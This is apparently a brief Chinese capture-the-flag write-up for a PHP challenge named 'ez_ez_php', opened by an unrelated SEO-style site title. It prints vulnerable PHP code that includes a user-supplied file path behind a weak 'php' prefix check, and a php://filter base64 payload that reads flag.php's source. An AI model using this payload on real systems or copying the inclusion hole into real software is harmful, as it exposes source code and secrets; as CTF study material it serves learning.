上海工程建设信息网官网_网络运维服务平台_百度论坛_学seo建网站

ez_ez_php

<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php

payload

/?file=php://filter/read=convert.base64-encode/resource=flag

结果

base64解码